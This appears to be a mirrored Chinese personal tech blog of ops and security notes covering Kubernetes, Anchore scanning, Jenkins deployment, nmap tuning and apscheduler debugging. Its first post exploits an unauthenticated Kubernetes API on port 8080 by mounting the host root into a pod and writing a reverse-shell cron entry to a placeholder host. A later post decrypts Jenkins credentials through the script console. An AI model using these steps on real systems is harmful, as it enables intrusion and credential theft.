zj1244 / blog Goto Github PK
View Code? Open in Web Editor NEWblog
blog
漏洞的起因是因为8080端口未进行限制或者关闭
根据官方文档,API Server 默认会开启两个端口:8080 和 6443。其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。
直接访问 8080 端口会返回可用的 API 列表,如:
而对于端口指纹,则如下:
如果Kubernetes API Server配置了Dashboard,通过路径/ui即可访问:
但是测试的这一台并没有配置dashboard,所以不能通过图形界面来创建容器,只能通过kubectl(kubectl是官方提供了一个命令行工具 )来进行操作。kubectl安装过程如下:
cat <<EOF > /etc/yum.repos.d/kubernetes.repo
[kubernetes]
name=Kubernetes
baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg
EOF
yum install -y kubectl
需要注意到是如果如果客户端版本比服务器的高,会出现如下错误,需要把kubectl的版本降低
下面把kubectl版本降到1.8.7:
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.8.7/bin/linux/amd64/kubectl
chmod 777 kubectl
mv /usr/bin/kubectl /usr/bin/kubectl.bak
mv kubectl /usr/bin/kubectl
接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录,内容如下:
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
然后使用 kubectl 创建容器:
// 由 myapp.yaml 创建容器,并使用定时任务反弹shell
> kubectl -s 1.2.3.4:8080 create -f myapp.yaml
// 等待容器创建完成
// 获得 myapp 的交互式 shell
> kubectl -s 1.2.3.4:8080 --namespace=default exec -it myapp bash
// 向 crontab 写入反弹 shell 的定时任务
> echo -e "* * * * * root bash -i >& /dev/tcp/x.x.x.x/8888 0>&1\n" >> /mnt/etc/crontab
参考链接:
https://0x0d.im/archives/attack-container-management-platform.html
在master上看node发现NotReady,接着去问题node查看日志【journalctl -f -u kubelet】,提示
从网上查到,应该是/etc/cni/net.d/10-flannel.conf文件里少了cniVersion版本,加上就可以解决。
[root@security ops]# cat /etc/cni/net.d/10-flannel.conf
{
"name": "cbr0",
"cniVersion": "0.2.0",
"type": "flannel",
"delegate": {
"isDefaultGateway": true
}
}
[root@security ops]# systemctl daemon-reload
1、命令如下:
# curl https://docs.anchore.com/current/docs/engine/quickstart/docker-compose.yaml > docker-compose.yaml
# docker-compose up -d
2、查看部署是否成功:
# docker-compose ps
Name Command State Ports
--------------------------------------------------------------------------------------
root_analyzer_1 /docker-entrypoint.sh anch ... Up 8228/tcp
root_api_1 /docker-entrypoint.sh anch ... Up 0.0.0.0:8228->8228/tcp
root_catalog_1 /docker-entrypoint.sh anch ... Up 8228/tcp
root_db_1 docker-entrypoint.sh postgres Up 5432/tcp
root_policy-engine_1 /docker-entrypoint.sh anch ... Up 8228/tcp
root_queue_1 /docker-entrypoint.sh anch ... Up 8228/tcp
# docker-compose exec api anchore-cli system status
Service analyzer (anchore-quickstart, http://analyzer:8228): up
Service simplequeue (anchore-quickstart, http://queue:8228): up
Service apiext (anchore-quickstart, http://api:8228): up
Service policy_engine (anchore-quickstart, http://policy-engine:8228): up
Service catalog (anchore-quickstart, http://catalog:8228): up
Engine DB Version: 0.0.13
Engine Code Version: 0.7.1
3、等待漏洞库更新完毕
# docker-compose exec api anchore-cli system wait
Starting checks to wait for anchore-engine to be available timeout=-1.0 interval=5.0
API availability: Checking anchore-engine URL (http://localhost:8228)...
API availability: Success.
Service availability: Checking for service set (catalog,apiext,policy_engine,simplequeue,analyzer)...
Service availability: Success.
Feed sync: Checking sync completion for feed set (vulnerabilities)...
Feed sync: Checking sync completion for feed set (vulnerabilities)...
...
...
Feed sync: Success.
参考:
https://docs.anchore.com/current/docs/engine/quickstart/
打开 系统管理 -> 管理插件 -> 可选插件,在右上角输入框中输入"gogs"来筛选插件
进入仓库,这里使用的是gogs。然后点击【仓库设置】->【管理Web钩子】->【添加Web钩子】-> 【Gogs】
需要注意的是job=test中的test是jenkins里的任务名,需要一一对应,不能填错。
【系统管理】【系统配置】中找到【Publish over SSH】,配置远程服务器的ip、登录用户名和密码
Remote Directory输入/home/ci,表示远程工作目录是/home/ci,之后传输的文件都将放于此。
在jenkins任务中的【源码管理】里选择Git,输入仓库url和仓库登陆密码:
接着选择【构建后操作】【send build artifacts over ssh】
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy list
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy activate policy-check-env
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy get 2c53a13c-1765-11e8-82ef-23527761d060 --detail > policybundle.json
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 evaluate check zj1244/demo:10 --policy policy-check-env --detail
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy add anchore_policy.json
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy del policy-check-env
来添加一个最简单的策略,作用是查找dockerfile里是否存在password环境变量:
{
"blacklisted_images": [],
"comment": "Default bundle",
"id": "policy-check-env",
"mappings": [
{
"image": {
"type": "tag",
"value": "*"
},
"name": "default",
"policy_id": "policy_1",
"registry": "*",
"repository": "*",
"whitelist_ids": [
]
}
],
"name": "Critical Security Policy",
"policies": [
{
"comment": "Critical vulnerability, secrets, and best practice violations",
"id": "policy_1",
"name": "default",
"rules": [
{
"action": "STOP",
"gate": "dockerfile",
"id": "test_1",
"params": [
{
"name": "instruction",
"value": "ENV" //触发哪个指令
},
{
"name": "check",
"value": "like"
},
{
"name": "value",
"value": ".*PASS.*"
}
],
"trigger": "instruction" //使用哪种触发器
}
],
"version": "1_0"
}
],
"version": "1_0",
"whitelisted_images": [],
"whitelists": [
]
}
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy add anchore_policy.json
Policy ID: policy-check-env
Active: False
Source: local
Created: 2020-03-30T07:58:32Z
Updated: 2020-03-30T07:58:32Z
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy activate policy-check-env
Success: policy-check-env activated
# anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 evaluate check zj1244/demo:10 --policy policy-check-env --detail
Image Digest: sha256:dc083990823a30faa6d5f8b425f9fb52bca4341e7f12d2f9f59773dce9cd04ad
Full Tag: docker.io/zj1244/demo:10
Image ID: 780c008ae27248223c23a7e2e3259915fa97adc6c052489d0ff96999e466b21e
Status: fail
Last Eval: 2020-03-30T08:01:50Z
Policy ID: policy-check-env
Final Action: stop
Final Action Reason: policy_evaluation
Gate Trigger Detail Status
dockerfile instruction Dockerfile directive 'ENV' check 'like' matched against '.*PASS.*' for line 'PASSWORD 123456' stop
直接给出json文件:
{
"blacklisted_images": [],
"comment": "Default bundle",
"id": "2c53a13c-1765-11e8-82ef-23527761d060",
"mappings": [
{
"id": "c4f9bf74-dc38-4ddf-b5cf-00e9c0074611",
"image": {
"type": "tag",
"value": "*"
},
"name": "default",
"policy_id": "48e6f7d6-1765-11e8-b5f9-8b6f228548b6",
"registry": "*",
"repository": "*",
"whitelist_ids": [
"37fd763e-1765-11e8-add4-3b16c029ac5c" //和下面白名单的id对应
]
}
],
"name": "Default bundle",
"policies": [
{
"comment": "System default policy",
"id": "48e6f7d6-1765-11e8-b5f9-8b6f228548b6",
"name": "DefaultPolicy",
"rules": [
{
"action": "STOP",
"gate": "dockerfile",
"id": "ce7b8000-829b-4c27-8122-69cd59018400",
"params": [
{
"name": "ports",
"value": "22"
},
{
"name": "type",
"value": "blacklist"
}
],
"trigger": "exposed_ports"
},
{
"action": "WARN",
"gate": "dockerfile",
"id": "312d9e41-1c05-4e2f-ad89-b7d34b0855bb",
"params": [
{
"name": "instruction",
"value": "HEALTHCHECK"
},
{
"name": "check",
"value": "not_exists"
}
],
"trigger": "instruction"
},
{
"action": "WARN",
"gate": "vulnerabilities",
"id": "6b5c14e7-a6f7-48cc-99d2-959273a2c6fa",
"params": [
{
"name": "max_days_since_sync",
"value": "2"
}
],
"trigger": "stale_feed_data"
},
{
"action": "WARN",
"gate": "vulnerabilities",
"id": "3e79ea94-18c4-4d26-9e29-3b9172a62c2e",
"params": [],
"trigger": "vulnerability_data_unavailable"
},
{
"action": "WARN",
"gate": "vulnerabilities",
"id": "6063fdde-b1c5-46af-973a-915739451ac4",
"params": [
{
"name": "package_type",
"value": "all"
},
{
"name": "severity_comparison",
"value": "="
},
{
"name": "severity",
"value": "medium"
}
],
"trigger": "package"
},
{
"action": "STOP",
"gate": "vulnerabilities",
"id": "b30e8abc-444f-45b1-8a37-55be1b8c8bb5",
"params": [
{
"name": "package_type",
"value": "all"
},
{
"name": "severity_comparison",
"value": ">"
},
{
"name": "severity",
"value": "medium"
}
],
"trigger": "package"
}
],
"version": "1_0"
}
],
"version": "1_0",
"whitelisted_images": [],
"whitelists": [
{
"comment": "Default global whitelist",
"id": "37fd763e-1765-11e8-add4-3b16c029ac5c",
"items": [
{
"gate": "vulnerabilities",
"trigger_id": "CVE-2018-11236+*",
"id": "rule2"
}
],
"name": "Global Whitelist",
"version": "1_0"
}
]
}
trigger_id支持正则,里面的内容可以通过jenkins里的报告查出来
参考:
https://docs.anchore.com/current/docs/engine/usage/cli_usage/policies/policy_gate_dockerfile/#trigger-instruction
https://mydeveloperplanet.com/2019/02/27/anchore-container-image-scanner-jenkins-plugin/
https://docs.anchore.com/current/docs/overview/concepts/policy/policy_checks/#introduction
https://anchore.com/using-anchore-to-identify-secrets-in-container-images/
https://anchore.com/enforcing-alpine-linux-docker-images-vulnerability-cve-2019-5021-with-anchore/
https://github.com/cloudbees-days/anchore-scan/blob/master/.anchore_policy.json
Failed create pod sandbox: rpc error: code = Unknown desc = failed to set up sandbox container "6b3b6f0758f193395f3bda06e64c583ac9c5ff965a888f9afdc867bad952b01a" network for pod "anchore-anchore-engine-analyzer-5958bf997c-2ngs8": NetworkPlugin cni failed to set up pod "anchore-anchore-ee addr: "cni0" already has an IP address different from 10.244.3.1/24
[root@sec-infoanalysis1-test aevolume]# kubeadm reset
[reset] WARNING: Changes made to this host by 'kubeadm init' or 'kubeadm join' will be reverted.
[reset] Are you sure you want to proceed? [y/N]: y
[preflight] Running pre-flight checks
W1025 10:16:01.329478 393 removeetcdmember.go:79] [reset] No kubeadm config, using etcd pod spec to get data directory
[reset] No etcd config found. Assuming external etcd
[reset] Please, manually reset etcd to prevent further issues
[reset] Stopping the kubelet service
[reset] Unmounting mounted directories in "/var/lib/kubelet"
[reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki]
[reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf /etc/kubernetes/bootstrap-kubelet.conf /etc/kubernetes/controller-manager.conf /etc/kubernetes/scheduler.conf]
[reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/dockershim /var/run/kubernetes]
The reset process does not reset or clean up iptables rules or IPVS tables.
If you wish to reset iptables, you must do so manually.
For example:
iptables -F && iptables -t nat -F && iptables -t mangle -F && iptables -X
If your cluster was setup to utilize IPVS, run ipvsadm --clear (or similar)
to reset your system's IPVS tables.
The reset process does not clean your kubeconfig files and you must remove them manually.
Please, check the contents of the $HOME/.kube/config file.
[root@sec-infoanalysis1-test aevolume]# ifconfig cni0 down
[root@sec-infoanalysis1-test aevolume]# yum install bridge-utils
[root@sec-infoanalysis1-test aevolume]# brctl delbr cni0
[root@sec-infoanalysis1-test aevolume]# ip link delete flannel.1
[root@sec-infoanalysis1-test aevolume]# kubeadm join --token=6nq2co.yjttt4y6udrraq3s 192.168.47.146:6443 --discovery-token-unsafe-skip-ca-verification
[root@localhost resource-manifests]# kubectl get namespaces
NAME STATUS AGE
default Active 4h11m
kube-node-lease Active 4h11m
kube-public Active 4h11m
kube-system Active 4h11m
升级deployment有两种方式,一种是直接修改,一种是修改yaml文件:
第一种:
[root@localhost resource-manifests]# kubectl get deployments
NAME READY UP-TO-DATE AVAILABLE AGE
sa-frontend 2/2 2 2 3h34m
[root@localhost resource-manifests]# kubectl edit deployment sa-frontend
Edit cancelled, no changes made.
[root@localhost resource-manifests]# kubectl edit deployment/sa-frontend
Edit cancelled, no changes made.
[root@localhost resource-manifests]# kubectl edit deployment.extensions/sa-frontend
Edit cancelled, no changes made.
第二种:
[root@localhost resource-manifests]# cat sa-frontend-deployment-green.yaml
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: sa-frontend
spec:
replicas: 2
minReadySeconds: 15
strategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 1
maxSurge: 1
template:
metadata:
labels:
app: sa-frontend
spec:
containers:
- image: rinormaloku/sentiment-analysis-frontend:green
imagePullPolicy: Always
name: sa-frontend
ports:
- containerPort: 80[root@localhost resource-manifests]#
[root@localhost resource-manifests]#
[root@localhost resource-manifests]# kubectl apply -f sa-frontend-deployment-green.yaml --record //升级要用apply,用create会因为重名而报错
deployment.extensions/sa-frontend configured
[root@localhost resource-manifests]#
[root@localhost resource-manifests]#
[root@localhost resource-manifests]# kubectl rollout status deployment sa-frontend //查看升级过程
Waiting for deployment "sa-frontend" rollout to finish: 1 old replicas are pending termination...
Waiting for deployment "sa-frontend" rollout to finish: 1 old replicas are pending termination...
Waiting for deployment "sa-frontend" rollout to finish: 1 old replicas are pending termination...
Waiting for deployment "sa-frontend" rollout to finish: 1 old replicas are pending termination...
Waiting for deployment "sa-frontend" rollout to finish: 1 old replicas are pending termination...
Waiting for deployment "sa-frontend" rollout to finish: 1 of 2 updated replicas are available...
deployment "sa-frontend" successfully rolled out
[root@localhost resource-manifests]#
[root@localhost resource-manifests]# kubectl rollout history deployment sa-frontend //查看deployment版本
deployment.extensions/sa-frontend
REVISION CHANGE-CAUSE
1 <none> <------1是版本
2 kubectl apply --filename=sa-frontend-deployment-green.yaml --record=true
[root@localhost resource-manifests]# kubectl rollout undo deployment sa-frontend --to-revision=1 //回退到上一个版本
deployment.extensions/sa-frontend rolled back
[root@localhost resource-manifests]# kubectl get pods -o wide --all-namespaces
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
sa-frontend-66bd785c7f-mhjtc 1/1 Running 0 21m 10.100.0.13 localhost <none> <none>
sa-frontend-66bd785c7f-qwhzf 1/1 Running 0 21m 10.100.0.14 localhost <none> <none>
sa-logic-798b555684-c6r8b 1/1 Running 0 15m 10.100.0.15 localhost <none> <none>
sa-logic-798b555684-wb26v 1/1 Running 0 15m 10.100.0.16 localhost <none> <none>
[root@localhost resource-manifests]#
[root@localhost resource-manifests]# kubectl get svc //查看服务
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 4h37m
sa-frontend-nodeport NodePort 10.111.36.213 <none> 80:31068/TCP 78m
sa-logic ClusterIP 10.110.167.111 <none> 80/TCP 3m27s
[root@localhost resource-manifests]# kubectl describe service sa-frontend-nodeport //查看服务详细信息
Name: sa-frontend-nodeport
Namespace: default
Labels: <none>
Annotations: <none>
Selector: app=sa-frontend
Type: NodePort //Service 通过 Cluster 节点的静态端口对外提供服务。Cluster 外部可以通过 <NodeIP>:<NodePort> 访问 Service
IP: 10.111.36.213
Port: <unset> 80/TCP //ClusterIP 上监听的端口,只能Cluster 内部访问
TargetPort: 80/TCP //pod监听的端口,也就是pod里会有个程序监听此端口,用于提供某种服务
NodePort: <unset> 31068/TCP //节点上监听的端口,也就是对外提供服务的端口。默认随机分配,可指定
Endpoints: 10.100.0.13:80,10.100.0.14:80 // 也可以通过 Cluster 内部的 IP 访问
Session Affinity: None
External Traffic Policy: Cluster
Events: <none>
也就是访问本机有效IP:NodePort或者访问pod_ip:Port都会转发到TargetPort。
当pod没起来的时候,查看详情:
[root@sec-infoanalysis2-test ops]# kubectl describe pod billowing-kudu-hello-helm-5c6689fcf9-qjhbp
Name: billowing-kudu-hello-helm-5c6689fcf9-qjhbp
Namespace: default
Priority: 0
Node: sec-k8s-node1/192.168.47.144
Start Time: Mon, 21 Oct 2019 15:55:16 +0800
Labels: app.kubernetes.io/instance=billowing-kudu
app.kubernetes.io/name=hello-helm
pod-template-hash=5c6689fcf9
Annotations: <none>
Status: Running
IP: 10.244.2.27
Controlled By: ReplicaSet/billowing-kudu-hello-helm-5c6689fcf9
Containers:
hello-helm:
Container ID: docker://68fdb85c3f78da1c034b17b8f1fd1203c7883b785cb98bc5165f37d157544af2
Image: nginx:stable
Image ID: docker-pullable://nginx@sha256:dd87b3bba63ff0cf6545fca46c9cdecb3e2ab09cacdbc1a08c1000ab97c76b75
Port: 80/TCP
Host Port: 0/TCP
State: Running
Started: Mon, 21 Oct 2019 16:03:04 +0800
Ready: True
Restart Count: 0
Liveness: http-get http://:http/ delay=0s timeout=1s period=10s #success=1 #failure=3
Readiness: http-get http://:http/ delay=0s timeout=1s period=10s #success=1 #failure=3
Environment: <none>
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from default-token-m4s9k (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
default-token-m4s9k:
Type: Secret (a volume populated by a Secret)
SecretName: default-token-m4s9k
Optional: false
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute for 300s
node.kubernetes.io/unreachable:NoExecute for 300s
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Normal Scheduled 16m default-scheduler Successfully assigned default/billowing-kudu-hello-helm-5c6689fcf9-qjhbp to sec-k8s-node1
Normal Pulling 16m kubelet, sec-k8s-node1 Pulling image "nginx:stable"
Normal Pulled 8m42s kubelet, sec-k8s-node1 Successfully pulled image "nginx:stable"
Normal Created 8m41s kubelet, sec-k8s-node1 Created container hello-helm
Normal Started 8m41s kubelet, sec-k8s-node1 Started container hello-helm
[root@infoanalysis2-test ops]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
infoanalysis1-test Ready node 78d v1.15.1
infoanalysis2-test Ready master 78d v1.15.1
k8s-node1 Ready <none> 20s v1.15.1
[root@infoanalysis2-test ops]# kubectl label nodes k8s-node1 node-role.kubernetes.io/node=
node/k8s-node1 labeled
[root@infoanalysis2-test ops]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
infoanalysis1-test Ready node 78d v1.15.1
infoanalysis2-test Ready master 78d v1.15.1
k8s-node1 Ready node 2m v1.15.1
yum install -y nfs-utils
# cat /etc/exports
/data/ *(rw,sync,no_root_squash,no_all_squash)
#ServiceAccount
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: nfs-client-provisioner
#rbac
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: nfs-client-provisioner-runner
rules:
- apiGroups: [""]
resources: ["persistentvolumes"]
verbs: ["get", "list", "watch", "create", "delete"]
- apiGroups: [""]
resources: ["persistentvolumeclaims"]
verbs: ["get", "list", "watch", "update"]
- apiGroups: ["storage.k8s.io"]
resources: ["storageclasses"]
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["events"]
verbs: ["list", "watch", "create", "update", "patch"]
- apiGroups: [""]
resources: ["endpoints"]
verbs: ["create", "delete", "get", "list", "watch", "patch", "update"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: run-nfs-client-provisioner
subjects:
- kind: ServiceAccount
name: nfs-client-provisioner
namespace: default
roleRef:
kind: ClusterRole
name: nfs-client-provisioner-runner
apiGroup: rbac.authorization.k8s.io
#deployment
---
kind: Deployment
apiVersion: extensions/v1beta1
metadata:
name: nfs-client-provisioner
spec:
replicas: 1
strategy:
type: Recreate
template:
metadata:
labels:
app: nfs-client-provisioner
spec:
serviceAccountName: nfs-client-provisioner
containers:
- name: nfs-client-provisioner
# image: quay.io/external_storage/nfs-client-provisioner:latest
image: registry.cn-hangzhou.aliyuncs.com/open-ali/nfs-client-provisioner:latest
volumeMounts:
- name: nfs-client-root
mountPath: /persistentvolumes
env:
- name: PROVISIONER_NAME
value: fuseim.pri/ifs
- name: NFS_SERVER
value: 192.168.1.68
- name: NFS_PATH
value: /data
volumes:
- name: nfs-client-root
nfs:
server: 192.168.1.68
path: /data
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: nfs-storage
provisioner: fuseim.pri/ifs # or choose another name, must match deployment's env PROVISIONER_NAME'
# In GKE need to get RBAC permissions first with
# kubectl create clusterrolebinding cluster-admin-binding --clusterrole=cluster-admin [--user=<user-name>|--group=<group-name>]
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: jenkins
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: jenkins
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["create","delete","get","list","patch","update","watch"]
- apiGroups: [""]
resources: ["pods/exec"]
verbs: ["create","delete","get","list","patch","update","watch"]
- apiGroups: [""]
resources: ["pods/log"]
verbs: ["get","list","watch"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: RoleBinding
metadata:
name: jenkins
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: jenkins
subjects:
- kind: ServiceAccount
name: jenkins
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
name: jenkins-home
annotations:
volume.beta.kubernetes.io/storage-class: "nfs-storage"
spec:
accessModes:
- ReadWriteMany
resources:
requests:
storage: 50G
# StatefulSet
---
apiVersion: apps/v1beta1
kind: StatefulSet
metadata:
name: jenkins
labels:
name: jenkins
spec:
serviceName: jenkins
replicas: 1
updateStrategy:
type: RollingUpdate
template:
metadata:
name: jenkins
labels:
name: jenkins
spec:
terminationGracePeriodSeconds: 10
serviceAccountName: jenkins
containers:
- name: jenkins
image: jenkins/jenkins:latest
imagePullPolicy: Always
ports:
- containerPort: 8080
name: web
protocol: TCP
- containerPort: 50000
name: agent
protocol: TCP
resources:
limits:
cpu: 1
memory: 1Gi
requests:
cpu: 0.5
memory: 500Mi
env:
- name: LIMITS_MEMORY
valueFrom:
resourceFieldRef:
resource: limits.memory
divisor: 1Mi
- name: JAVA_OPTS
# value: -XX:+UnlockExperimentalVMOptions -XX:+UseCGroupMemoryLimitForHeap -XX:MaxRAMFraction=1 -XshowSettings:vm -Dhudson.slaves.NodeProvisioner.initialDelay=0 -Dhudson.slaves.NodeProvisioner.MARGIN=50 -Dhudson.slaves.NodeProvisioner.MARGIN0=0.85
value: -Duser.timezone=Asia/Shanghai -Xmx$(LIMITS_MEMORY)m -XshowSettings:vm -Dhudson.slaves.NodeProvisioner.initialDelay=0 -Dhudson.slaves.NodeProvisioner.MARGIN=50 -Dhudson.slaves.NodeProvisioner.MARGIN0=0.85
volumeMounts:
- name: jenkins-home
mountPath: /var/jenkins_home
livenessProbe:
httpGet:
path: /login
port: 8080
initialDelaySeconds: 60
timeoutSeconds: 5
failureThreshold: 12 # ~2 minutes
readinessProbe:
httpGet:
path: /login
port: 8080
initialDelaySeconds: 60
timeoutSeconds: 5
failureThreshold: 12 # ~2 minutes
volumes:
- name: jenkins-home
persistentVolumeClaim:
claimName: jenkins-home
securityContext:
fsGroup: 1000
---
apiVersion: v1
kind: Service
metadata:
name: jenkins
spec:
type: NodePort
selector:
name: jenkins
ports:
- name: web
port: 8080
targetPort: web
- name: agent
port: 50000
targetPort: agent
kubectl create -f nfs-client-deployment.yaml
kubectl create -f nfs-client-class.yaml
kubectl create -f jenkins-rbac.yaml
kubectl create -f jenkins-pvc.yaml
kubectl create -f jenkins-statefulset.yaml
kubectl create -f jenkins-svc.yaml
使用浏览器访问jenkinshttp://192.168.1.68:31669/,通过查看日志获取密码登录
# kubectl get svc|grep jenkins
jenkins NodePort 10.100.221.153 <none> 8080:31669/TCP,50000:31011/TCP
使用了Docker-in-Docker,原理就是把宿主机的docker.sock映射到pod里,需要注意的是镜像里要添加docker客户端,这里用的是zj1244/jenkins_with_docker:v1
。
Dockerfile文件内容:
FROM jenkins/jenkins:latest
MAINTAINER [email protected]
USER root
# Install the latest Docker CE binaries
RUN apt-get update && \
apt-get -y install apt-transport-https \
ca-certificates \
curl \
gnupg2 \
software-properties-common && \
curl -fsSL https://download.docker.com/linux/$(. /etc/os-release; echo "$ID")/gpg > /tmp/dkey; apt-key add /tmp/dkey && \
add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/$(. /etc/os-release; echo "$ID") \
$(lsb_release -cs) \
stable" && \
apt-get update && \
apt-get -y install docker-ce
我们在jenkins-statefulset.yaml里添加文件映射:
# StatefulSet
---
apiVersion: apps/v1beta1
kind: StatefulSet
metadata:
name: jenkins
labels:
name: jenkins
spec:
serviceName: jenkins
replicas: 1
updateStrategy:
type: RollingUpdate
template:
metadata:
name: jenkins
labels:
name: jenkins
spec:
terminationGracePeriodSeconds: 10
serviceAccountName: jenkins
containers:
- name: jenkins
image: zj1244/jenkins_with_docker:v1
imagePullPolicy: Always
ports:
- containerPort: 8080
name: web
protocol: TCP
- containerPort: 50000
name: agent
protocol: TCP
resources:
limits:
cpu: 1
memory: 1Gi
requests:
cpu: 0.5
memory: 500Mi
env:
- name: LIMITS_MEMORY
valueFrom:
resourceFieldRef:
resource: limits.memory
divisor: 1Mi
- name: JAVA_OPTS
# value: -XX:+UnlockExperimentalVMOptions -XX:+UseCGroupMemoryLimitForHeap -XX:MaxRAMFraction=1 -XshowSettings:vm -Dhudson.slaves.NodeProvisioner.initialDelay=0 -Dhudson.slaves.NodeProvisioner.MARGIN=50 -Dhudson.slaves.NodeProvisioner.MARGIN0=0.85
value: -Duser.timezone=Asia/Shanghai -Xmx$(LIMITS_MEMORY)m -XshowSettings:vm -Dhudson.slaves.NodeProvisioner.initialDelay=0 -Dhudson.slaves.NodeProvisioner.MARGIN=50 -Dhudson.slaves.NodeProvisioner.MARGIN0=0.85
volumeMounts:
- name: jenkins-home
mountPath: /var/jenkins_home
- name: dockersock
mountPath: /var/run/docker.sock
livenessProbe:
httpGet:
path: /login
port: 8080
initialDelaySeconds: 60
timeoutSeconds: 5
failureThreshold: 12 # ~2 minutes
readinessProbe:
httpGet:
path: /login
port: 8080
initialDelaySeconds: 60
timeoutSeconds: 5
failureThreshold: 12 # ~2 minutes
volumes:
- name: jenkins-home
persistentVolumeClaim:
claimName: jenkins-home
- name: dockersock
hostPath:
path: /var/run/docker.sock
securityContext:
fsGroup: 1000
在更新pod
# kubectl apply -f jenkins-statefulset.yaml
参考:
https://hyrepo.com/tech/kubernetes-jenkins/#Docker-in-Docker
需要可以执行script
通过访问凭据->系统->全局凭据->某个凭据->更新来查看加密后的凭据
点击系统管理->命令脚本行,输入如下代码,即可查看密码
println(hudson.util.Secret.fromString('xxxxxxxxxxxxxxxxxxxx').getPlainText())
或者
println(hudson.util.Secret.decrypt("xxxxxxxxxxxxxxx"))
参考:
https://fortynorthsecurity.com/blog/the-security-of-devsecops-jenkins/
rpm -qa|grep -i kernel-3.10
谷歌搜索并下载类似如下命名的三个文件:
kernel-3.10.0-229.el7.x86_64.rpm
kernel-tools-3.10.0-229.el7.x86_64.rpm
kernel-tools-libs-3.10.0-229.el7.x86_64.rpm
依次安装这三个文件:
yum install kernel-tools-3.10.0-229.el7.x86_64.rpm
如果安装失败就用rpm强制安装
rpm -ivh --force kernel-tools-3.10.0-229.el7.x86_64.rpm
yum install kernel-devel-3.10.0-229.el7.x86_64.rpm
因为之前使用masscan+nmap的扫描方式产生漏报太多了,所以后来琢磨单单使用nmap来扫的话,时间上是否能接受?
首先看看masscan+nmap扫描一个【c段(192.168.1.1-192.168.1.255)+1-65535端口】所用的时间,基本上在22分钟左右:
再看看使用以下参数扫描一个ip所用的时间大概在89秒左右:
nmap -sV 192.168.xxx.31 -p1-65535
可以看到也是89秒左右,接着继续添加--version-intensity 4参数:
可以看到速度缩短到43秒左右,但是带来的影响是有些指纹识别不出来,如下图:
这就需要分析哪些协议没识别出来,然后手动修改,首先在/usr/share/nmap/nmap-service-probes里查找rmiregistry,然后把rarity的值改成4就行了
这时候可以通过grep -r "Java Debug Wire Protocol" /usr/share/nmap/
查找rarity的判断在哪个文件,后来找到原来在/usr/share/nmap/scripts/jdwp-version.nse文件里,修改成4,这样就可以--version-intensity 4的时候也识别出来了
之前使用apscheduler+flask跑定时任务,刚开始一段时间内一切正常,后来某天查看定时任务的时候,发现任务消失了,这让人感到非常困惑。
之后加了大量logging记录日志,发现了一个错误:
[2019-12-12 Thursday 15:00] [INFO] Scheduler started
[2019-12-12 Thursday 15:00] [DEBUG] Looking for jobs to run
[2019-12-12 Thursday 15:00] [ERROR] Unable to restore job "test_job" -- removing it
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/apscheduler/jobstores/mongodb.py", line 128, in _get_jobs
jobs.append(self._reconstitute_job(document['job_state']))
File "/usr/local/lib/python2.7/site-packages/apscheduler/jobstores/mongodb.py", line 117, in _reconstitute_job
job.__setstate__(job_state)
File "/usr/local/lib/python2.7/site-packages/apscheduler/job.py", line 272, in __setstate__
self.func = ref_to_obj(self.func_ref)
File "/usr/local/lib/python2.7/site-packages/apscheduler/util.py", line 305, in ref_to_obj
raise LookupError('Error resolving reference %s: could not import module' % ref)
LookupError: Error resolving reference jobs:job1: could not import module
[2019-12-12 Thursday 15:00] [DEBUG] Next wakeup is due at 2019-12-13 08:21:05.380000+08:00 (in 62419.929130 seconds)
[2019-12-12 Thursday 15:00] [INFO] * Running on http://0.0.0.0:8088/ (Press CTRL+C to quit)
